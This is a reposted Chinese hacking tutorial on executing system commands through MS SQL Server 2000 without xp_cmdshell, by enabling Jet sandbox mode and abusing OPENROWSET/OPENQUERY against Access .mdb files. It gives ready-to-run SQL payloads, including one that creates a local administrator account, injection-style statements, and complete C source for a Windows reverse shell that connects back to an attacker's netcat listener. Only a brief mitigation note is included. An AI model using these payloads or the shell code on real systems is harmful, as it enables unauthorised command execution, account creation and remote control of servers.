不用xp_cmdshell照样执行命令

当前位置 : 首页 > 实用技巧 > 安全教程 > 不用xp_cmdshell照样执行命令

不用xp_cmdshell照样执行命令

来源:互联网 作者:脚本宝典 时间:2015-07-26 18:09
利用jet执行shell命令比想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径 nt/2k:x:\winnt\system32\ xp/2003:x:\windows\system32\ 解决办法: 如果不需要RDS支持,请删除x:\ProgramFiles\CommonFi

利用jet执行shell命令比想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径 
nt/2k: x:\winnt\system32\ 
xp/2003: x:\windows\system32\ 
解决办法: 
如果不需要RDS支持,请删除x:\Program Files\Common Files\System\Msadc\msadcs.dll 
仅仅修改注册表是不够的,具体看下文详述 

当然除了IAS.mdb这个之外,还有其他的mdb文件也可以,只要文件存在即可 
2003的system32下就有两个:ias.mdb和dnary.mdb 
其他系统你可以dir /a /s *.mdb看一下,如果有新发现,欢迎补充 

如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试 
当然如果野蛮一点,四个轮流来一遍也行。 

首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。 
出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试: 
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 
注: 
0   禁止一切(默认) 
1   使能访问ACCESS,但是禁止其它 
2   禁止访问ACCESS,但是使能其他 
3   使能一切 

事实上,对有DB_OWNER权限即可执行,但是执行后面一条语句会有不同要求,不能直接执行,详见下面语句解释。 

然后利用jet.oledb执行系统命令,这个仅仅需要%SystemRoot%读权限即可,还是比较宽松的,所以危害也就相当高了 
对于只有DB_OWNER权限的用户,需要建立链接数据库的方式来进行访问,不允许直接访问,至于是否能访问成功,尚未测试。有兴趣的可以自行测试一下,欢迎补充。 
MSDN上说: 
“sp_addlinkedserver : Execute permissions default to members of the sysadmin and setupadmin fixed server roles.” 
实际发现sp_addlinkedserver/sp_addlinkedsrvlogin需要setupadmin权限即可执行,而DB_OWNER拥有数据库的全部权限,理论上应该可以成功。 

这里仅给出sysadmin权限下使用的命令: 
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")') 

建立链接数据库'L0op8ack'参考命令: 
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb' 

验证截图如下(WIN2003 sp1装MSSQL2K sp3环境中的测试效果,使用了sysadmin权限): 


附: 
无法连接数据库服务器时(数据库一般不对外开放,但一般可以对外访问), 
可以使用反弹dos shell方式,改写成bind shell也很容易,呵呵! 
====================== CUT here ======================= 
//name   : win32 connect back shell source code for nt/2K/xp/2003 
//compile   : cl win32cbsh.c   (vc6) 
//usage   :  
//on your pc   : nc -l -p {listen port} 
//on vitim pc   : win32cbsh {your ip} {listen port} 
//warning   : if there's no parameter specified, it will cause "fatal error" 
#include <winsock2.h> 
#pragma comment(lib,"ws2_32") 
int main(int argc, char **argv) 

WSADATA wsaData; 
SOCKET hSocket; 
STARTUPINFO si; 
PROCESS_INFORMATION pi; 
struct sockaddr_in adik_sin; 
memset(&adik_sin,0,sizeof(adik_sin)); 
memset(&si,0,sizeof(si)); 
WSAStartup(MAKEWORD(2,0),&wsaData); 
hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); 
adik_sin.sin_family=AF_INET; 
adik_sin.sin_port=htons(atoi(argv[2])); 
adik_sin.sin_addr.s_addr=inet_addr(argv[1]); 
if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin))) return -1; 
si.cb=sizeof(si); 
si.dwFlags=STARTF_USESTDHANDLES; 
si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket; 
CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi); 
return 0; 

使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合 

sp_addlinkedserver需要sysadmin或setupadmin权限 
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限 
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用, 
一般没有哪个管理员这么设置普通帐户权限的 

实用性不强,仅作为一个学习总结吧 

大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错, 
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败 
需要找一个一般用户可访问的mdb才可以: 

EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';-- 
exec sp_addlinkedsrvlogin 'L0op8ack','hacker';-- 
SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell("cmd.exe /c net user")');-- 
exec sp_droplinkedsrvlogin 'L0op8ack','hacker';-- 
exec sp_dropserver 'L0op8ack';-- 
我的sql2k sp3里面sp_addserverlogin后面要带用户名称,加true/false都报无此用户错误 

呵呵,不过最终还是失败了 

原来的过程也可以注入的,打了sp之后就没有了 

摘一段T-SQL参考,实际上这是T-SQL引用异类 OLE DB 数据源的两种方法 
openrowset需要sa权限,想用sp_addlinkserver/openquery突破一下,最终发现不能成功 
============================================ 
分布式查询构架 
Microsoft® SQL Server™ 2000 支持两种在 Transact-SQL 语句中引用异类 OLE DB 数据源的方法,:  

1) 链接服务器名称  
系统存储过程 sp_addlinkedserver 和sp_addlinkedsrvlogin 用于给 OLE DB 数据源提供服务器名称。可以使用由四个部分构成的名称在 Transact-SQL 语句中引用这些链接服务器中的对象。例如,如果链接服务器的名称 DeptSQLSrvr 是用 SQL Server 2000 的另一个复本定义的,下面的语句引用该服务器上的一个表: 

SELECT * FROM DeptSQLSrvr.Northwind.dbo.Employees 

也可以在 OPENQUERY 语句中指定链接服务器的名称以从 OLE DB 数据源打开一个行集。之后,可以在 Transact-SQL 语句中像引用表一样引用该行集。 

2) 特殊连接器名称  
在很少引用数据源时,OPENROWSET 或 OPENDATASOURCE 函数是用连接到链接服务器时所需的信息指定的。之后,可以在 Transact-SQL 中使用与引用表相同的方法引用行集: 

SELECT * 
FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0', 
    'c:\MSOffice\Access\Samples\Northwind.mdb';'Admin';''; 
    Employees) 

SQL Server 2000 使用 OLE DB 在关系引擎和存储引擎之间通讯。关系引擎将每个 Transact-SQL 语句分解为一系列操作,这些操作在由存储引擎从基表打开的简单 OLE DB 行集上执行。这意味着关系引擎也可以在任何 OLE DB 数据源上打开简单 OLE DB 行集。 
1.exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','Software\Microsoft\Jet\4.0\Engine\SandBoxMode',REG_DWORD,0 写一个注册表的值,开启Access沙盒模式。也就是可在非Application里执行的功能。 
2.用OpenRowSet打开一个Access文件.在%windir%\system32\ias里有4个这样的文件。随便拿来用 
3.执行的函数如下 
Function Shell(ByVal Command As String) As Long 

Tag:

相关文章

网友评论

<